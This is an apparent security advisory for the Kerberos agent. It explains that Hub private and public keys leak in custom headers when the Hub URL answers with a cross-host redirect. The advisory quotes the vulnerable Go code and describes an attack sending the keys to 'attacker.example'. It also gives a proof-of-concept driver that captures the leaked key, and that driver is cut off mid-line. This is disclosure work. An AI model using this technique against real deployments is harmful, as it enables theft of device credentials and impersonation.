github.com/kerberos-io/agent/machinery · Machinery: Kerberos Hub private key (X-Kerberos-Hub-PrivateKey) leaked to cross-host redirect target due to

### Summary The Kerberos Hub upload path sends the agent's Hub credentials in the custom `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey` request headers to the operator-configured Hub URL (`config.HubURI`). The HTTP client used (`&http.Client{}` in `UploadKerberosHub`) is constructed without a `CheckRedirect` policy, so it follows HTTP redirects automatically. Go's `net/http` strips only sensitive headers (`Authorization`, `Cookie`, `WWW-Authenticate`) on a cross-host redirect; it does **not** strip custom headers such as `X-Kerberos-Hub-PrivateKey`. As a result, if the configured `HubURI` returns a cross-host 30x redirect, the Hub private key is forwarded verbatim to the redirect target, disclosing the credential to an unintended third party (CWE-200 / CWE-522). ### Impact The Kerberos Hub private key (a long-lived secret authenticating the agent to Kerberos Hub) is leaked to an attacker-controlled host whenever the configured `HubURI` issues a cross-origin redirect. `HubURI` is operator configuration (`models.Config.HubURI`, JSON `hub_uri`); an open redirect on that host, a compromised/hijacked Hub deployment, a DNS/BGP hijack, or a malicious URL supplied in the agent config causes the secret to be exfiltrated. The leaked private key (together with the public key, which is forwarded in the same request) grants the attacker the agent's access to Kerberos Hub, including the ability to upload/impersonate the device. ### Vulnerable code (file:line) `machinery/src/cloud/kerberos_hub.go` — the custom auth headers are set on a request to the operator-configurable `config.HubURI`, and the client follows redirects (no `CheckRedirect`): ```go // Check if we are allowed to upload to the hub with these credentials. // There might be different reasons like (muted, read-only..) req, err := http.NewRequest("HEAD", config.HubURI+"/storage/upload", nil) if err != nil { errorMessage := "UploadKerberosHub: error reading HEAD request, " + config.HubURI + "/storage: " + err.Error() log.Log.Error(errorMessage) return false, true, errors.New(errorMessage) } req.Header.Set("X-Kerberos-Storage-FileName", fileName) req.Header.Set("X-Kerberos-Storage-Capture", "IPCamera") req.Header.Set("X-Kerberos-Storage-Device", config.Key) req.Header.Set("X-Kerberos-Hub-PublicKey", config.HubKey) req.Header.Set("X-Kerberos-Hub-PrivateKey", config.HubPrivateKey) // line 63 req.Header.Set("X-Kerberos-Hub-Region", config.S3.Region) var client *http.Client if os.Getenv("AGENT_TLS_INSECURE") == "true" { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client = &http.Client{Transport: tr} } else { client = &http.Client{} // line 73 — no CheckRedirect } resp, err := client.Do(req) ``` `HubURI` is operator configuration: ```go HubURI string `json:"hub_uri" bson:"hub_uri"` ``` ### Attack scenario 1. An operator configures the agent with a `hub_uri`. 2. That host (or a host reachable from it via redirect) responds to `/storage/upload` with `302 Found` to `https://attacker.example/...`. 3. `client.Do(req)` follows the redirect and re-sends the request, including `X-Kerberos-Hub-PrivateKey` and `X-Kerberos-Hub-PublicKey`, to `attacker.example`. 4. The attacker captures the Hub credentials. ### Proof of concept Driver built against the verbatim pinned `kerberos_hub.go` from v3.6.25. The exported `cloud.UploadKerberosHub` is invoked. Two hostnames resolve to local test servers so `net/http` treats the 302 as a genuine cross-host redirect. ```go package main import ( "context" "fmt" "net" "net/http" "net/http/httptest" "os" "strings" "sync" "github.com/kerberos-io/agent/machinery/src/cloud" "github.com/kerberos-io/agent/machinery/src/models" ) func installResolver(mapping map[string]string) { tr := http.DefaultTransport.(*http.Transport).Clone() tr.DialContext = func(ctx context.Context, network, addr string) (net.Conn, error) { host, _, _ := net.SplitHostPort(addr) if target, ok := mapping[host]; ok { addr = target } return (&net.Dialer{}).DialContext(ctx, network, addr) } http.DefaultTransport = tr } func main() { var mu sync.Mutex var sawPriv, sawPub string attacker := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { mu.Lock() sawPriv = r.Header.Get("X-Kerberos-Hub-PrivateKey") sawPub = r.Header.Get("X-Kerberos-Hub-PublicKey") mu.Unlock() fmt.Printf("[attacker host %s] received %s %s\n", r.Host, r.Method, r.URL.Path) fmt.Printf("[attacker host %s] X-Kerberos-Hub-PrivateKey = %q\n", r.Host, r.Header.Get("X-Kerberos-Hub-PrivateKey")) w.WriteHeader(200) })) defer attacker.Close() legit := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { fmt.Printf("[legit host %s] received %s %s -> 302 to attacker.example\n", r.Host, r.Method, r.URL.Path) http.Redirect(w, r, "http://attacker.example"+r.URL.Path, http.StatusFound) })) d

• github.com/kerberos-io/agent/security/advisories/GHSA-h5gx-45rj-2h5j (opens in a new tab)
• github.com/kerberos-io/agent/commit/51f1a52e170f21c1264c6de1dc781d5b5e2a5d09 (opens in a new tab)
• github.com/kerberos-io/agent (opens in a new tab)

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